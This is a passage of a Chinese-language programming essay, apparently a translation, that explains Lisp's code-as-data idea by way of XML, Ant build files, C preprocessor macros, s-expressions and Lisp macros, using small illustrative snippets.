千里之行始于足下。让我们的第一步从XML开始。可是XML已经说得更多的了, 还能有什么新意思可说呢? 有的。XML自身虽然谈谈不上有趣, 但是XML和Lisp的关系却相当有趣。XML和Lisp的概念有着惊人的相似之处。XML是我们通向理解Lisp的桥梁。好吧, 我们且把XML当作活马医。让我们拿好手杖, 对XML的无人涉及的荒原地带作一番探险。我们要从一个全新的视角来考察这个题目。

表面上看, XML是一种标准化语法, 它以适合人阅读的格式来表达任意的层次化数据(hirearchical data)。象任务表(to-do list), 网页, 病历, 汽车保险单, 配置文件等等, 都是XML用武的地方。比如我们拿任务表做例子:

    <todo name="housework">
        <item priority="high">Clean the house.</item>
        <item priority="medium">Wash the dishes.</item>
        <item priority="medium">Buy more soap.</item>
    </todo>

解析这段数据时会发生什么情况? 解析之后的数据在内存中怎样表示? 显然, 用树来表示这种层次化数据是很恰当的。说到底, XML这种比较容易阅读的数据格式, 就是树型结构数据经过序列化之后的结果。任何可以用树来表示的数据, 同样可以用XML来表示, 反之亦然。希望你能懂得这一点, 这对下面的内容极其重要。

再进一步。还有什么类型的数据也常用树来表示? 无疑列表(list)也是一种。上过编译课吧? 还模模糊糊记得一点吧? 源代码在解析之后也是用树结构来存放的, 任何编译程序都会把源代码解析成一棵抽象语法树, 这样的表示法很恰当, 因为源代码就是层次结构的:函数包含参数和代码块, 代码快包含表达式和语句, 语句包含变量和运算符等等。

我们已经知道, 任何树结构都可以轻而易举的写成XML, 而任何代码都会解析成树, 因此,任何代码都可以转换成XML, 对不对? 我举个例子, 请看下面的函数:

    int add(int arg1, int arg2)
    {
        return arg1+arg2;
    }

能把这个函数变成对等的XML格式吗? 当然可以。我们可以用很多种方式做到, 下面是其中的一种, 十分简单:

    <define-function return-type="int" name="add">
        <arguments>
            <argument type="int">arg1</argument>
            <argument type="int">arg2</argument>
        </arguments>
        <body>
            <return>
                <add value1="arg1" value2="arg2" />
            </return>
        </body>
    </define>

这个例子非常简单, 用哪种语言来做都不会有太大问题。我们可以把任何程序码转成XML,也可以把XML转回到原来的程序码。我们可以写一个转换器, 把Java代码转成XML, 另一个转换器把XML转回到Java。一样的道理, 这种手段也可以用来对付C++(这样做跟发疯差不多么。可是的确有人在做, 看看GCC-XML就知道了)。进一步说,凡是有相同语言特性而语法不同的语言, 都可以把XML当作中介来互相转换代码。实际上几乎所有的主流语言都在一定程度上满足这个条件。我们可以把XML作为一种中间表示法,在两种语言之间互相译码。比方说, 我们可以用Java2XML把Java代码转换成XML, 然后用XML2CPP再把XML转换成C++代码, 运气好的话, 就是说, 如果我们小心避免使用那些C++不具备的Java特性的话, 我们可以得到完好的C++程序。这办法怎么样, 漂亮吧?

这一切充分说明, 我们可以把XML作为源代码的通用存储方式, 其实我们能够产生一整套使用统一语法的程序语言, 也能写出转换器, 把已有代码转换成XML格式。如果真的采纳这种办法, 各种语言的编译器就用不着自己写语法解析了, 它们可以直接用XML的语法解析来直接生成抽象语法树。

说到这里你该问了, 我们研究了这半天XML, 这和Lisp有什么关系呢? 毕竟XML出来之时,Lisp早已经问世三十年了。这里我可以保证, 你马上就会明白。不过在继续解释之前, 我们先做一个小小的思维练习。看一下上面这个XML版本的add函数例子, 你怎样给它分类,是代码还是数据? 不用太多考虑都能明白, 把它分到哪一类都讲得通。它是XML, 它是标准格式的数据。我们也知道, 它可以通过内存中的树结构来生成(GCC-XML做的就是这个事情)。它保存在不可执行的文件中。我们可以把它解析成树节点, 然后做任意的转换。显而易见, 它是数据。不过且慢, 虽然它语法有点陌生, 可它又确确实实是一个add函数,对吧? 一旦经过解析, 它就可以拿给编译器编译执行。我们可以轻而易举写出这个XML代码解释器, 并且直接运行它。或者我们也可以把它译成Java或C++代码, 然后再编译运行。所以说, 它也是代码。

我们说到那里了? 不错, 我们已经发现了一个有趣的关键之点。过去被认为很难解的概念已经非常直观非常简单的显现出来。代码也是数据, 并且从来都是如此。这听起来疯疯癫癫的, 实际上却是必然之事。我许诺过会以一种全新的方式来解释Lisp, 我要重申我的许诺。但是我们此刻还没有到预定的地方, 所以还是先继续上边的讨论。

刚才我说过, 我们可以非常简单地实现XML版的add函数解释器, 这听起来好像不过是说说而已。谁真的会动手做一下呢? 未必有多少人会认真对待这件事。随便说说, 并不打算真的去做, 这样的事情你在生活中恐怕也遇到吧。你明白我这样说的意思吧, 我说的有没有打动你? 有哇, 那好, 我们继续。

重新审视Ant

我们现在已经来到了月亮背光的那一面, 先别忙着离开。再探索一下, 看看我们还能发现什么东西。闭上眼睛, 想一想2000年冬天的那个雨夜, 一个名叫James Duncan Davidson的杰出的程序员正在研究Tomcat的servlet容器。那时, 他正小心地保存好刚修改过的文件, 然后执行make。结果冒出了一大堆错误, 显然有什么东西搞错了。经过仔细检查, 他想, 难道是因为tab前面加了个空格而导致命令不能执行吗? 确实如此。老是这样, 他真的受够了。乌云背后的月亮给了他启示, 他创建了一个新的Java项目, 然后写了一个简单但是十分有用的工具, 这个工具巧妙地利用了Java属性文件中的信息来构造工程, 现在James可以写makefile的替代品, 它能起到相同的作用, 而形式更加优美, 也不用担心有makefile那样可恨的空格问题。这个工具能够自动解释属性文件, 然后采取正确的动作来编译工程。真是简单而优美。

(作者注: 我不认识James, James也不认识我, 这个故事是根据网上关于Ant历史的帖子虚构的)

使用Ant构造Tomcat之后几个月, 他越来越感到Java的属性文件不足以表达复杂的构造指令。文件需要检出, 拷贝, 编译, 发到另外一台机器, 进行单元测试。要是出错, 就发邮件给相关人员, 要是成功, 就继续在尽可能高层的卷(volumn)上执行构造。追踪到最后,卷要回复到最初的水平上。确实, Java的属性文件不够用了, James需要更有弹性的解决方案。他不想自己写解析器(因为他更希望有一个具有工业标准的方案)。XML看起来是个不错的选择。他花了几天工夫把Ant移植到XML,于是,一件伟大的工具诞生了。

Ant是怎样工作的?原理非常简单。Ant把包含有构造命令的XML文件(算代码还是算数据,你自己想吧),交给一个Java程序来解析每一个元素,实际情况比我说的还要简单得多。一个简单的XML指令会导致具有相同名字的Java类装入,并执行其代码。

    <copy todir="../new/dir">
            <fileset dir="src_dir" />
    </copy>

这段文字的含义是把源目录复制到目标目录,Ant会找到一个”copy”任务(实际上就是一个Java类), 通过调用Java的方法来设置适当参数(todir和fileset),然后执行这个任务。Ant带有一组核心类, 可以由用户任意扩展, 只要遵守若干约定就可以。Ant找到这些类,每当遇到XML元素有同样的名字, 就执行相应的代码。过程非常简单。Ant做到了我们前面所说的东西: 它是一个语言解释器, 以XML作为语法, 把XML元素转译为适当的Java指令。我们可以写一个”add”任务, 然后, 当发现XML中有add描述的时候, 就执行这个add任务。由于Ant是非常流行的项目, 前面展示的策略就显得更为明智。毕竟, 这个工具每天差不多有几千家公司在使用。

到目前为之, 我还没有说Ant在解析XML时所遇到困难。你也不用麻烦去它的网站上去找答案了, 不会找到有价值的东西。至少对我们这个论题来说是如此。我们还是继续下一步讨论吧。我们答案就在那里。

为什么是XML

有时候正确的决策并非完全出于深思熟虑。我不知道James选择XML是否出于深思熟虑。也许仅仅是个下意识的决定。至少从James在Ant网站上发表的文章看起来, 他所说的理由完全是似是而非。他的主要理由是移植性和扩展性, 在Ant案例上, 我看不出这两条有什么帮助。使用XML而不是Java代码, 到底有什么好处? 为什么不写一组Java类, 提供api来满足基本任务(拷贝目录, 编译等等), 然后在Java里直接调用这些代码? 这样做仍然可以保证移植性, 扩展性也是毫无疑问的。而且语法也更为熟悉, 看着顺眼。那为什么要用 XML呢? 有什么更好的理由吗?

有的。虽然我不确定James是否确实意识到了。在语义的可构造性方面, XML的弹性是Java望尘莫及的。我不想用高深莫测的名词来吓唬你, 其中的道理相当简单, 解释起来并不费很多功夫。好, 做好预备动作, 我们马上就要朝向顿悟的时刻做奋力一跃。

上面的那个copy的例子, 用Java代码怎样实现呢? 我们可以这样做:

    CopyTask copy = new CopyTask();
    Fileset fileset = new Fileset();

    fileset.setDir("src_dir");
    copy.setToDir("../new/dir");
    copy.setFileset(fileset);

    copy.excute();

这个代码看起来和XML的那个很相似, 只是稍微长一点。差别在那里? 差别在于XML构造了一个特殊的copy动词, 如果我们硬要用Java来写的话, 应该是这个样子:

    copy("../new/dir");
    {
        fileset("src_dir");
    }

看到差别了吗? 以上代码(如果可以在Java中用的话), 是一个特殊的copy算符, 有点像for循环或者Java5中的foreach循环。如果我们有一个转换器, 可以把XML转换到Java, 大概就会得到上面这段事实上不可以执行的代码。因为Java的技术规范是定死的, 我们没有办法在程序里改变它。我们可以增加包, 增加类, 增加方法, 但是我们没办法增加算符,而对于XML, 我们显然可以任由自己增加这样的东西。对于XML的语法树来说, 只要原意,我们可以任意增加任何元素, 因此等于我们可以任意增加算符。如果你还不太明白的话,看下面这个例子, 加入我们要给Java引入一个unless算符:

    unless(someObject.canFly())
    {
        someObject.transportByGround():
    }

在上面的两个例子中, 我们打算给Java语法扩展两个算符, 成组拷贝文件算符和条件算符unless, 我们要想做到这一点, 就必须修改Java编译器能够接受的抽象语法树, 显然我们无法用Java标准的功能来实现它。但是在XML中我们可以轻而易举地做到。我们的解析器根据 XML元素, 生成抽象语法树, 由此生成算符, 所以, 我们可以任意引入任何算符。

对于复杂的算符来说, 这样做的好处显而易见。比如, 用特定的算符来做检出源码, 编译文件, 单元测试, 发送邮件等任务, 想想看有多么美妙。对于特定的题目, 比如说构造软件项目, 这些算符的使用可以大幅减低少代码的数量。增加代码的清晰程度和可重用性。解释性的XML可以很容易的达到这个目标。XML是存储层次化数据的简单数据文件, 而在Java中, 由于层次结构是定死的(你很快就会看到, Lisp的情况与此截然不同), 我们就没法达到上述目标。也许这正是Ant的成功之处呢。

你可以注意一下最近Java和C#的变化(尤其是C#3.0的技术规范), C#把常用的功能抽象出来, 作为算符增加到C#中。C#新增加的query算符就是一个例子。它用的还是传统的作法:C#的设计者修改抽象语法树, 然后增加对应的实现。如果程序员自己也能修改抽象语法树该有多好! 那样我们就可以构造用于特定问题的子语言(比如说就像Ant这种用于构造项目的语言), 你能想到别的例子吗? 再思考一下这个概念。不过也不必思考太甚, 我们待会还会回到这个题目。那时候就会更加清晰。

离Lisp越来越近

我们先把算符的事情放一放, 考虑一下Ant设计局限之外的东西。我早先说过, Ant可以通过写Java类来扩展。Ant解析器会根据名字来匹配XML元素和Java类, 一旦找到匹配, 就执行相应任务。为什么不用Ant自己来扩展Ant呢? 毕竟核心任务要包含很多传统语言的结构(例如”if”), 如果Ant自身就能提供构造任务的能力(而不是依赖java类), 我们就可以得到更高的移植性。我们将会依赖一组核心任务(如果你原意, 也不妨把它称作标准库), 而不用管有没有Java 环境了。这组核心任务可以用任何方式来实现, 而其他任务建筑在这组核心任务之上, 那样的话, Ant就会成为通用的, 可扩展的, 基于XML的编程语言。考虑下面这种代码的可能性:

    <task name="Test">
        <echo message="Hello World" />
    </task>
    <Test />

如果XML支持”task”的创建, 上面这段代码就会输出”Hello World!”. 实际上, 我们可以用Java写个”task”任务, 然后用Ant-XML来扩展它。Ant可以在简单原语的基础上写出更复杂的原语, 就像其他编程语言常用的作法一样。这也就是我们一开始提到的基于XML的编程语言。这样做用处不大(你知道为甚么吗?), 但是真的很酷。

再看一回我们刚才说的Task任务。祝贺你呀, 你在看Lisp代码!!! 我说什么? 一点都不像Lisp吗? 没关系, 我们再给它收拾一下。

比XML更好

前面一节说过, Ant自我扩展没什么大用, 原因在于XML很烦琐。对于数据来说, 这个问题还不太大, 但如果代码很烦琐的话, 光是打字上的麻烦就足以抵消它的好处。你写过Ant的脚本吗? 我写过, 当脚本达到一定复杂度的时候, XML非常让人厌烦。想想看吧, 为了写结束标签, 每个词都得打两遍, 不发疯算好的!

为了解决这个问题, 我们应当简化写法。须知, XML仅仅是一种表达层次化数据的方式。我们并不是一定要使用尖括号才能得到树的序列化结果。我们完全可以采用其他的格式。其中的一种(刚好就是Lisp所采用的)格式, 叫做s表达式。s表达式要做的和XML一样, 但它的好处是写法更简单, 简单的写法更适合代码输入。后面我会详细讲s表达式。这之前我要清理一下XML的东西。考虑一下关于拷贝文件的例子:

    <copy toDir="../new/dir">
        <fileset dir="src_dir">
    </copy>

想想看在内存里面, 这段代码的解析树在内存会是什么样子? 会有一个”copy”节点, 其下有一个 “fileset”节点, 但是属性在哪里呢? 它怎样表达呢? 如果你以前用过XML, 并且弄不清楚该用元素还是该用属性, 你不用感到孤单, 别人一样糊涂着呢。没人真的搞得清楚。这个选择与其说是基于技术的理由, 还不如说是闭着眼瞎摸。从概念上来讲, 属性也是一种元素, 任何属性能做的, 元素一样做得到。XML引入属性的理由, 其实就是为了让XML写法不那么冗长。比如我们看个例子:

    <copy>
        <toDir>../new/dir</toDir>
        <fileset>
            <dir>src_dir</dir>
        </fileset>
    </copy>

两下比较, 内容的信息量完全一样, 用属性可以减少打字数量。如果XML没有属性的话,光是打字就够把人搞疯掉。

说完了属性的问题, 我们再来看一看s表达式。之所以绕这么个弯, 是因为s表达式没有属性的概念。因为s表达式非常简练, 根本没有必要引入属性。我们在把XML转换成s表达式的时候, 心里应该记住这一点。看个例子, 上面的代码译成s表达式是这样的:

   (copy
        (todir "../new/dir")
        (fileset (dir "src_dir")))

仔细看看这个例子, 差别在哪里? 尖括号改成了圆括号, 每个元素原来是有一对括号标记包围的, 现在取消了后一个(就是带斜杠的那个)括号标记。表示元素的结束只需要一个”)”就可以了。不错, 差别就是这些。这两种表达方式的转换, 非常自然, 也非常简单。s表达式打起字来, 也省事得多。第一次看s表达式(Lisp)时, 括号很烦人是吧? 现在我们明白了背后的道理, 一下子就变得容易多了。至少, 比XML要好的多。用s表达式写代码, 不单是实用, 而且也很让人愉快。s表达式具有XML的一切好处, 这些好处是我们刚刚探讨过的。现在我们看看更加Lisp风格的task例子:

    (task (name "Test")
        (echo (message "Hellow World!")))
    (Test)

用Lisp的行话来讲, s表达式称为表(list)。对于上面的例子, 如果我们写的时候不加换行, 用逗号来代替空格, 那么这个表达式看起来就非常像一个元素列表, 其中又嵌套着其他标记。

    (task, (name, "test"), (echo, (message, "Hello World!")))

XML自然也可以用这样的风格来写。当然上面这句并不是一般意义上的元素表。它实际上是一个树。这和XML的作用是一样的。称它为列表, 希望你不会感到迷惑, 因为嵌套表和树实际上是一码事。Lisp的字面意思就是表处理(list processing), 其实也可以称为树处理, 这和处理XML节点没有什么不同。

经受这一番折磨以后, 现在我们终于相当接近Lisp了, Lisp的括号的神秘本质(就像许多Lisp狂热分子认为的)逐渐显现出来。现在我们继续研究其他内容。

重新审视C语言的宏

到了这里, 对XML的讨论你大概都听累了, 我都讲累了。我们先停一停, 把树, s表达式,Ant这些东西先放一放, 我们来说说C的预处理器。一定有人问了, 我们的话题和C有什么关系? 我们已经知道了很多关于元编程的事情, 也探讨过专门写代码的代码。理解这问题有一定难度, 因为相关讨论文章所使用的编程语言, 都是你们不熟悉的。但是如果只论概念的话, 就相对要简单一些。我相信, 如果以C语言做例子来讨论元编程, 理解起来一定会容易得多。好, 我们接着看。

一个问题是, 为什么要用代码来写代码呢? 在实际的编程中, 怎样做到这一点呢? 到底元编程是什么意思? 你大概已经听说过这些问题的答案, 但是并不懂得其中缘由。为了揭示背后的真理, 我们来看一下一个简单的数据库查询问题。这种题目我们都做过。比方说,直接在程序码里到处写SQL语句来修改表(table)里的数据, 写多了就非常烦人。即便用C#3.0的LINQ, 仍然不减其痛苦。写一个完整的SQL查询(尽管语法很优美)来修改某人的地址, 或者查找某人的名字, 绝对是件令程序员倍感乏味的事情, 那么我们该怎样来解决这个问题? 答案就是: 使用数据访问层。

概念挺简单, 其要点是把数据访问的内容(至少是那些比较琐碎的部分)抽象出来, 用类来映射数据库的表, 然后用访问对象属性访问器(accessor)的办法来间接实现查询。这样就极大地简化了开发工作量。我们用访问对象的方法(或者属性赋值, 这要视你选用的语言而定)来代替写SQL查询语句。凡是用过这种方法的人, 都知道这很节省时间。当然, 如果你要亲自写这样一个抽象层, 那可是要花非常多的时间的–你要写一组类来映射表, 把属性访问转换为SQL查询, 这个活相当耗费精力。用手工来做显然是很不明智的。但是一旦你有了方案和模板, 实际上就没有多少东西需要思考的。你只需要按照同样的模板一次又一次重复编写相似代码就可以了。事实上很多人已经发现了更好的方法, 有一些工具可以帮助你连接数据库, 抓取数据库结构定义(schema), 按照预定义的或者用户定制的模板来自动编写代码。

如果你用过这种工具, 你肯定会对它的神奇效果深为折服。往往只需要鼠标点击数次, 就可以连接到数据库, 产生数据访问源码, 然后把文件加入到你的工程里面, 十几分钟的工作, 按照往常手工方式来作的话, 也许需要数百个小时人工(man-hours)才能完成。可是,如果你的数据库结构定义后来改变了怎么办? 那样的话, 你只需把这个过程重复一遍就可以了。甚至有一些工具能自动完成这项变动工作。你只要把它作为工程构造的一部分, 每次编译工程的时候, 数据库部分也会自动地重新构造。这真的太棒了。你要做的事情基本上减到了0。如果数据库结构定义发生了改变, 并在编译时自动更新了数据访问层的代码,那么程序中任何使用过时的旧代码的地方, 都会引发编译错误。

数据访问层是个很好的例子, 这样的例子还有好多。从GUI样板代码, WEB代码, COM和CORBA存根, 以及MFC和ATL等等。在这些地方, 都是有好多相似代码多次重复。既然这些代码有可能自动编写, 而程序员时间又远远比CPU时间昂贵, 当然就产生了好多工具来自动生成样板代码。这些工具的本质是什么呢? 它们实际上就是制造程序的程序。它们有一个神秘的名字, 叫做元编程。所谓元编程的本义, 就是如此。

元编程本来可以用到无数多的地方, 但实际上使用的次数却没有那么多。归根结底, 我们心里还是在盘算, 假设重复代码用拷贝粘贴的话, 大概要重复6,7次, 对于这样的工作量,值得专门建立一套生成工具吗? 当然不值得。数据访问层和COM存根往往需要重用数百次,甚至上千次, 所以用工具生成是最好的办法。而那些仅仅是重复几次十几次的代码, 是没有必要专门做工具的。不必要的时候也去开发代码生成工具, 那就显然过度估计了代码生成的好处。当然, 如果创建这类工具足够简单的话, 还是应当尽量多用, 因为这样做必然会节省时间。现在来看一下有没有合理的办法来达到这个目的。

现在, C预处理器要派上用场了。我们都用过C/C++的预处理器, 我们用它执行简单的编译指令, 来产生简单的代码变换(比方说, 设置调试代码开关), 看一个例子:

    #define triple(X) X+X+X

这一行的作用是什么? 这是一个简单的预编译指令, 它把程序中的triple(X)替换称为X+X+X。例如, 把所有的triple(5)都换成5+5+5, 然后再交给编译器编译。这就是一个简单的代码生成的例子。要是C的预处理器再强大一点, 要是能够允许连接数据库, 要是能多一些其他简单的机制, 我们就可以在我们程序的内部开发自己的数据访问层。下面这个例子, 是一个假想的对C宏的扩展:

    #get-db-schema("127.0.0.1")
    #iterate-through-tables
    #for-each-table
        class #table-name
            {
            };
    #end-for-each

我们连接数据库结构定义, 遍历数据表, 然后对每个表创建一个类, 只消几行代码就完成了这个工作。这样每次编译工程的时候, 这些类都会根据数据库的定义同步更新。显而易见, 我们不费吹灰之力就在程序内部建立了一个完整的数据访问层, 根本用不着任何外部工具。当然这种作法有一个缺点, 那就是我们得学习一套新的”编译时语言”, 另一个缺点就是根本不存在这么一个高级版的C预处理器。需要做复杂代码生成的时候, 这个语言(译者注: 这里指预处理指令, 即作者所说的”编译时语言”)本身也一定会变得相当复杂。它必须支持足够多的库和语言结构。比如说我们想要生成的代码要依赖某些ftp服务器上的文件, 预处理器就得支持ftp访问, 仅仅因为这个任务而不得不创造和学习一门新的语言,真是有点让人恶心(事实上已经存在着有此能力的语言, 这样做就更显荒谬)。我们不妨再灵活一点, 为什么不直接用 C/C++自己作为自己的预处理语言呢? 这样子的话, 我们可以发挥语言的强大能力, 要学的新东西也只不过是几个简单的指示字 , 这些指示字用来区别编译时代码和运行时代码。

    <%
        cout<<"Enter a number: ";
        cin>>n;
    %>
    for(int i=0;i< <% n %>;i++)
    {
        cout<<"hello"<<endl;
    }

你明白了吗? 在<%和%>标记之间的代码是在编译时运行的, 标记之外的其他代码都是普通代码。编译程序时, 系统会提示你输入一个数, 这个数在后面的循环中会用到。而for循环的代码会被编译。假定你在编译时输入5, for循环的代码将会是:


for(int i=0;i<5; i++) { cout<<"hello"<<endl; }

又简单又有效率, 也不需要另外的预处理语言。我们可以在编译时就充分发挥宿主语言(此处是C/C++)的强大能力, 我们可以很容易地在编译时连接数据库, 建立数据访问层, 就像JSP或者ASP创建网页那样。我们也用不着专门的窗口工具来另外建立工程。我们可以在代码中立即加入必要的工具。我们也用不着顾虑建立这种工具是不是值得, 因为这太容易了, 太简单了。这样子不知可以节省多少时间啊。

你好, Lisp

到此刻为止, 我们所知的关于Lisp的指示可以总结为一句话: Lisp是一个可执行的语法更优美的XML, 但我们还没有说Lisp是怎样做到这一点的, 现在开始补上这个话题。

Lisp有丰富的内置数据类型, 其中的整数和字符串和其他语言没什么分别。像71或者”hello”这样的值, 含义也和C++或者Java这样的语言大体相同。真正有意思的三种类型是符号(symbol), 表和函数。这一章的剩余部分, 我都会用来介绍这几种类型, 还要介绍Lisp环境是怎样编译和运行源码的。这个过程用Lisp的术语来说通常叫做求值。通读这一节内容, 对于透彻理解元编程的真正潜力, 以及代码和数据的同一性, 和面向领域语言的观念, 都极其重要。万勿等闲视之。我会尽量讲得生动有趣一些, 也希望你能获得一些启发。那好, 我们先讲符号。

大体上, 符号相当于C++或Java语言中的标志符, 它的名字可以用来访问变量值(例如currentTime, arrayCount, n, 等等), 差别在于, Lisp中的符号更加基本。在C++或Java里面, 变量名只能用字母和下划线的组合, 而Lisp的符号则非常有包容性, 比如, 加号(+)就是一个合法的符号, 其他的像-, =, hello-world, * 等等都可以是符号名。符号名的命名规则可以在网上查到。你可以给这些符号任意赋值, 我们这里先用伪码来说明这一点。假定函数set是给变量赋值(就像等号=在C++和Java里的作用), 下面是我们的例子:

    set(test, 5)            // 符号test的值为5
    set(=, 5)               // 符号=的值为5
    set(test, "hello")      // 符号test的值为字符串"hello"
    set(test, =)            // 此时符号=的值为5, 所以test的也为5
    set( * , "hello")         // 符号 * 的值为"hello"

好像有什么不对的地方? 假定我们对 * 赋给整数或者字符串值, 那做乘法时怎么办? 不管怎么说, * 总是乘法呀? 答案简单极了。Lisp中函数的角色十分特殊, 函数也是一种数据类型, 就像整数和字符串一样, 因此可以把它赋值给符号。乘法函数Lisp的内置函数, 默认赋给 * , 你可以把其他函数赋值给 * , 那样 * 就不代表乘法了。你也可以把这函数的值存到另外的变量里。我们再用伪码来说明一下:

     *(3,4)          // 3乘4, 结果是12
    set(temp,  * )    // 把 * 的值, 也就是乘法函数, 赋值给temp
    set( * , 3)       // 把3赋予 * 
     *(3,4)          // 错误的表达式,  * 不再是乘法, 而是数值3
    temp(3,4)       // temp是乘法函数, 所以此表达式的值为3乘4等于12
    set( * , temp)    // 再次把乘法函数赋予 * 
     *(3,4)          // 3乘4等于12

再古怪一点, 把减号的值赋给加号:

    set(+, -)       // 减号(-)是内置的减法函数
    +(5, 4)         // 加号(+)现在是代表减法函数, 结果是5减4等于1

这只是举例子, 我还没有详细讲函数。Lisp中的函数是一种数据类型, 和整数, 字符串,符号等等一样。一个函数并不必然有一个名字, 这和C++或者Java语言的情形很不相同。在这里函数自己代表自己。事实上它是一个指向代码块的指针, 附带有一些其他信息(例如一组参数变量)。只有在把函数赋予其他符号时, 它才具有了名字, 就像把一个数值或字符串赋予变量一样的道理。你可以用一个内置的专门用于创建函数的函数来创建函数,然后把它赋值给符号fn, 用伪码来表示就是:

    fn [a]
    {
        return  *(a, 2);
    }

这段代码返回一个具有一个参数的函数, 函数的功能是计算参数乘2的结果。这个函数还没有名字, 你可以把此函数赋值给别的符号:

    set(times-two, fn [a] {return  *(a, 2)})

我们现在可以这样调用这个函数:

    time-two(5)         // 返回10

我们先跳过符号和函数, 讲一讲表。什么是表? 你也许已经听过好多相关的说法。表, 一言以蔽之, 就是把类似XML那样的数据块, 用s表达式来表示。表用一对括号括住, 表中元素以空格分隔, 表可以嵌套。例如(这回我们用真正的Lisp语法, 注意用分号表示注释):

    ()                              ; 空表
    (1)                            ; 含一个元素的表
    (1 "test")                  ; 两元素表, 一个元素是整数1, 另一个是字符串
    (test "hello")            ; 两元素表, 一个元素是符号, 另一个是字符串
    (test (1 2) "hello")    ; 三元素表, 一个符号test, 一个含有两个元素1和2的
                                    ; 表, 最后一个元素是字符串

当Lisp系统遇到这样的表时, 它所做的, 和Ant处理XML数据所做的, 非常相似, 那就是试图执行它们。其实, Lisp源码就是特定的一种表, 好比Ant源码是一种特定的XML一样。Lisp执行表的顺序是这样的, 表的第一个元素当作函数, 其他元素当作函数的参数。如果其中某个参数也是表, 那就按照同样的原则对这个表求值, 结果再传递给最初的函数作为参数。这就是基本原则。我们看一下真正的代码:

    ( *  3 4)                 ; 相当于前面列举过的伪码 *(3,4), 即计算3乘4
    (times-two 5)           ; 返回10, times-two按照前面的定义是求参数的2倍
    (3 4)                   ; 错误, 3不是函数
    (time-two)              ; 错误, times-two要求一个参数
    (times-two 3 4)         ; 错误, times-two只要求一个参数
    (set + -)               ; 把减法函数赋予符号+
    (+ 5 4)                 ; 依据上一句的结果, 此时+表示减法, 所以返回1
    ( *  3 (+ 2 2))           ; 2+2的结果是4, 再乘3, 结果是12

上述的例子中, 所有的表都是当作代码来处理的。怎样把表当作数据来处理呢? 同样的,设想一下, Ant是把XML数据当作自己的参数。在Lisp中, 我们给表加一个前缀’来表示数据。


(set test '(1 2)) ; test的值为两元素表 (set test (1 2)) ; 错误, 1不是函数 (set test '( * 3 4)) ; test的值是三元素表, 三个元素分别是 * , 3, 4

我们可以用一个内置的函数head来返回表的第一个元素, tail函数来返回剩余元素组成的表。

    (head '( *  3 4))         ; 返回符号 * 
    (tail '( *  3 4))         ; 返回表(3 4)
    (head (tal '( *  3 4)))   ; 返回3
    (head test)             ; 返回 * 

你可以把Lisp的内置函数想像成Ant的任务。差别在于, 我们不用在另外的语言中扩展
Lisp(虽然完全可以做得到), 我们可以用Lisp自己来扩展自己, 就像上面举的 -two
函数的例子。Lisp的内置函数集十分精简, 只包含了十分必要的部分。剩下的函数都是作
为标准库来实现的。

Lisp宏

我们已经看到, 元编程在一个类似jsp的模板引擎方面的应用。我们通过简单的字符串处
理来生成代码。但是我们可以做的更好。我们先提一个问题, 怎样写一个工具, 通过查找
目录结构中的源文件来自动生成Ant脚本。

用字符串处理的方式生成Ant脚本是一种简单的方式。当然, 还有一种更加抽象, 表达能
力更强, 扩展性更好的方式, 就是利用XML库在内存中直接生成XML节点, 这样的话内存中
的节点就可以自动序列化成为字符串。不仅如此, 我们的工具还可以分析这些节点, 对已
有的XML文件做变换。通过直接处理XML节点。我们可以超越字符串处理, 使用更高层次的
概念, 因此我们的工作就会做的更快更好。

我们当然可以直接用Ant自身来处理XML变换和制作代码生成工具。或者我们也可以用Lisp
来做这项工作。正像我们以前所知的, 表是Lisp内置的数据结构, Lisp含有大量的工具来
快速有效的操作表(head和tail是最简单的两个)。而且, Lisp没有语义约束, 你可以构造
任何数据结构, 只要你原意。

Lisp通过宏(macro)来做元编程。我们写一组宏来把任务列表(to-do list)转换为专用领
域语言。

回想一下上面to-do list的例子, 其XML的数据格式是这样的:

    <todo name = "housework">
        <item priority = "high">Clean the hose</item>
        <item priority = "medium">Wash the dishes</item>
        <item priority = "medium">Buy more soap</item>
    </todo>

相应的s表达式是这样的:

    (todo "housework"
        (item (priority high) "Clean the house")
        (item (priority medium) "Wash the dishes")
        (item (priority medium) "Buy more soap"))

假设我们要写一个任务表的管理程序, 把任务表数据存到一组文件里, 当程序启动时, 从
文件读取这些数据并显示给用户。在别的语言里(比如说Java), 这个任务该怎么做? 我们
会解析XML文件, 从中得出任务表数据, 然后写代码遍历XML树, 再转换为Java的数据结构
(老实讲, 在Java里解析XML真不是件轻松的事情), 最后再把数据展示给用户。现在如果
用Lisp, 该怎么做?

假定要用同样思路的话, 我们大概会用Lisp库来解析XML。XML对我们来说就是一个Lisp
的表(s表达式), 我们可以遍历这个表, 然后把相关数据提交给用户。可是, 既然我们用
Lisp, 就根本没有必要再用XML格式保存数据, 直接用s表达式就好了, 这样就没有必要做
转换了。我们也用不着专门的解析库, Lisp可以直接在内存里处理s表达式。注意, Lisp
编译器和.net编译器一样, 对Lisp程序来说, 在运行时总是随时可用的。

但是还有更好的办法。我们甚至不用写表达式来存储数据, 我们可以写宏, 把数据当作代
码来处理。那该怎么做呢? 真的简单。回想一下, Lisp的函数调用格式:

     (function-name arg1 arg2 arg3)

其中每个参数都是s表达式, 求值以后, 传递给函数。如果我们用(+ 4 5)来代替arg1,
那么, 程序会先求出结果, 就是9, 然后把9传递给函数。宏的工作方式和函数类似。主要
的差别是, 宏的参数在代入时不求值。

    (macro-name (+ 4 5))

这里, (+ 4 5)作为一个表传递给宏, 然后宏就可以任意处理这个表, 当然也可以对它求
值。宏的返回值是一个表, 然后有程序作为代码来执行。宏所占的位置, 就被替换为这个
结果代码。我们可以定义一个宏把数据替换为任意代码, 比方说, 替换为显示数据给用户
的代码。

这和元编程, 以及我们要做的任务表程序有什么关系呢? 实际上, 编译器会替我们工作,
调用相应的宏。我们所要做的, 仅仅是创建一个把数据转换为适当代码的宏。

例如, 上面曾经将过的C的求三次方的宏, 用Lisp来写是这样子:

    (defmacro triple (x)
        `(+ ~x ~x ~x))

(译注: 在Common Lisp中, 此处的单引号应当是反单引号, 意思是对表不求值, 但可以对
表中某元素求值, 记号~表示对元素x求值, 这个求值记号在Common Lisp中应当是逗号。
反单引号和单引号的区别是, 单引号标识的表, 其中的元素都不求值。这里作者所用的记
号是自己发明的一种Lisp方言Blaise, 和common lisp略有不同, 事实上, 发明方言是
lisp高手独有的乐趣, 很多狂热分子都热衷这样做。比如Paul Graham就发明了ARC, 许多
记号比传统的Lisp简洁得多, 显得比较现代)

单引号的用处是禁止对表求值。每次程序中出现triple的时候,

    (triple 4)

都会被替换成:

    (+ 4 4 4)

我们可以为任务表程序写一个宏, 把任务数据转换为可执行码, 然后执行。假定我们的输
